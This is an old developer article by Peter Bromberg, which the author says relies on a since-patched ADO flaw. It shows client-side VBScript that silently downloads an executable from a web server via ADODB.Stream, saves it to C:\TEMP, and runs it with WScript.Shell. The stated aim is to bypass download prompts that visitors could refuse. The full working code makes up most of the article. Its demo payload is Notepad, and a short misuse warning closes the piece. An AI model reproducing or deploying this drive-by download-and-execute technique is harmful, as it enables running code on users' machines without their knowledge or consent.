How to tranparently download a file over the web and run it on the client machine

By Peter A. Bromberg, Ph.D.

Peter Bromberg

NB: this article exploited a flaw in ADO that has since been patched. I am leaving it up for informational purposes only. You'd like to have a page on your company Intranet or your Web site that automatically downloads and installs some piece of software whenever a new visitor is directed (or redirected) to that page. You want to avoid having to prompt people to "download" the file, and you want to avoid generating those download "dialogs" that users can say "NO" to. In short, you want it to just "happen". Well, you're in luck, and you don't need to create code-signed CAB files with INF files inside them and crazy OBJECT TAGS with weird ClassID's either. Thanks to the wonders of the ADODB Stream Object and the Windows Script Host Shell object, as long as the client is running IE 5.0 or greater and has at least MDAC 2.5 installed, you're in business!



To test the following code as written, you'll need to copy Notepad.exe to your web root. We're going to Download Notepad.exe from the webserver and then RUN IT on the client. Here's the basics of some client - side VBScript that will do the whole job the second the page hits the visitor's browser:

 

<!--METADATA TYPE="typelib"
UUID="00000205-0000-0010-8000-00AA006D2EA4"
NAME="ADODB Type Library"
-->
<HTML>
<HEAD>
<script language=VBScript >

'===============================================================
' Example using ADODB Stream Object to load resource from server
' and deposit in specified directory on client, using client-side
' script
' Peter Bromberg
'================================================================
' Don't need the TypeLib METADATA at the top if you specify the constants by numeric value instead of by name

' Set up an ADO Stream ....
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
' The following should be the absolute URL to the file on the server.....
objStream.Open ("URL=http://localhost/notepad.exe")
document.write "<CENTER>Loaded...<BR>"
' This should be the full path and filename to save the file on the client....
objStream.SaveToFile "C:\TEMP\notepad.exe", 2 ' adSaveCreateOverWrite
document.write "saved..<BR>"
objStream.Close
Set objStream = Nothing
' Now we'll "run" the file....
Dim WshShell
Set WshShell =CreateObject("WScript.Shell")
WshShell.Run ("c:\temp\notepad.exe")
Set WsShell = Nothing

</script>
<TITLE>Download and Install Page</TITLE>
</HEAD>
<BODY>
DONE!</CENTER>
</BODY>
</HTML>

Note that the Stream Object allows us to specify URLS for the source using the familiar scheme://server/path/resource construct. We need to preface this with "URL= in our stream.Open Method call. If a provider supports URLs, it will register for one or more URL schemes. This means that any URLs using this scheme will automatically invoke the registered provider. For example, the http scheme is registered to the Microsoft OLE DB Provider for Internet Publishing. ADO assumes all URLs prefixed with "http" represent Web folders or files to be used with the Internet Publishing Provider. There's plenty of documentation in the MDAC 2.6 CHM help file on this and the related issues. Well worth a good read!

And of course, once our resource is on the client's file system, we only need to use the Run Method of the Windows Script Host Shell Collection Object to execute it. Here of course we are opening up Notepad, but this could just as easily be an Installshield Installation EXE or even a Flash movie Projector EXE. Obviously, you have a number of other issues you can address here, such as whether the download folder exists, what to do with the file when we're done, etc. Most of this can be handled by additional script methods, or by stuff within the install EXE itself. Also, you should be aware that browser and filesystem security settings may need to be tweaked for this technique. Have fun programming, and practice "safe computer", as this technique has the potential to be misused.

Peter Bromberg is an independent consultant specializing in distributed .NET solutionsa Senior Programmer /Analyst at in Orlando and a co-developer of the NullSkull.com developer website. He can be reached at info@eggheadcafe.com